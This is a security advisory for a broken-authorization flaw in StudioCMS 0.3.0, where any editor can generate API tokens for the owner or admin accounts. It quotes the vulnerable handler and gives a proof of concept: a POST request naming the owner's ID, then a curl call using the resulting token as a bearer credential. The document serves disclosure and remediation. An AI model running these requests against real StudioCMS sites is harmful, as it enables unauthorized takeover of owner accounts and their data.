The /studiocms_api/dashboard/api-tokens endpoint allows any authenticated user (at least Editor) to generate API tokens for any other user, including owner and admin accounts. The endpoint fails to validate whether the requesting user is authorized to create tokens on behalf of the target user ID, resulting in a full privilege escalation.
The API token generation endpoint accepts a user parameter in the request body that specifies which user the token should be created for. The server-side logic authenticates the session (via auth_session cookie) but does not verify that the authenticated user matches the target user ID nor checks if the caller has sufficient privileges to perform this action on behalf of another user. This is a classic BOLA vulnerability: the authorization check is limited to "is the user logged in?" instead of "is this user authorized to perform this action on this specific resource?"
The following is the server-side handler for the POST /studiocms_api/dashboard/api-tokens endpoint: File: packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (lines 16–57) Version: studiocms@0.3.0
POST: (ctx) =>
genLogger('studiocms/routes/api/dashboard/api-tokens.POST')(function* () {
const sdk = yield* SDKCore;
// Check if demo mode is enabled
if (developerConfig.demoMode !== false) {
return apiResponseLogger(403, 'Demo mode is enabled, this action is not allowed.');
}
// Get user data
const userData = ctx.locals.StudioCMS.security?.userSessionData; // [1]
// Check if user is logged in
if (!userData?.isLoggedIn) { // [2]
return apiResponseLogger(403, 'Unauthorized');
}
// Check if user has permission
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor; // [3]
if (!isAuthorized) {
return apiResponseLogger(403, 'Unauthorized');
}
// Get Json Data
const jsonData = yield* readAPIContextJson<{
description: string;
user: string; // [4]
}>(ctx);
// Validate form data
if (!jsonData.description) {
return apiResponseLogger(400, 'Invalid form data, description is required');
}
if (!jsonData.user) {
return apiResponseLogger(400, 'Invalid form data, user is required');
}
// [5] jsonData.user passed directly — no check against userData
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);
return createJsonResponse({ token: newToken.key }); // [6]
}),
Analysis The authorization logic has three distinct flaws:
Environment The following user roles were identified in the application: User ID | Role 2450bf33-0135-4142-80be-9854f9a5e9f1 | owner eacee42e-ae7e-4e9e-945b-68e26696ece4 | admin 2d93a386-e9cb-451e-a811-d8a34bfdf4da | admin 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c | editor a1585423-9ade-426e-a713-9c81ed035463 | visitor
Step 1 — Generate an API Token for the Owner (as Editor) An authenticated Editor sends the following request, specifying the owner user ID in the body:
POST /studiocms_api/dashboard/api-tokens HTTP/1.1
Host: <target>
Cookie: auth_session=<editor_session_cookie>
Content-Type: application/json
Content-Length: 74
{
"user": "2450bf33-0135-4142-80be-9854f9a5e9f1",
"description": "pwn"
}
Result: The server returns a valid JWT token bound to the owner account.
Step 2 — Use the Token to Access the API as Owner
curl -H "Authorization: Bearer <owner_jwt_token>" http://<target>/studiocms_api/rest/v1/users
Result: The attacker now has full API access with owner privileges, including the ability to list all users, modify content, and manage the application.
{
"cwe_ids": [
"CWE-639",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-10T18:16:41Z",
"nvd_published_at": "2026-03-10T18:18:54Z",
"severity": "HIGH"
}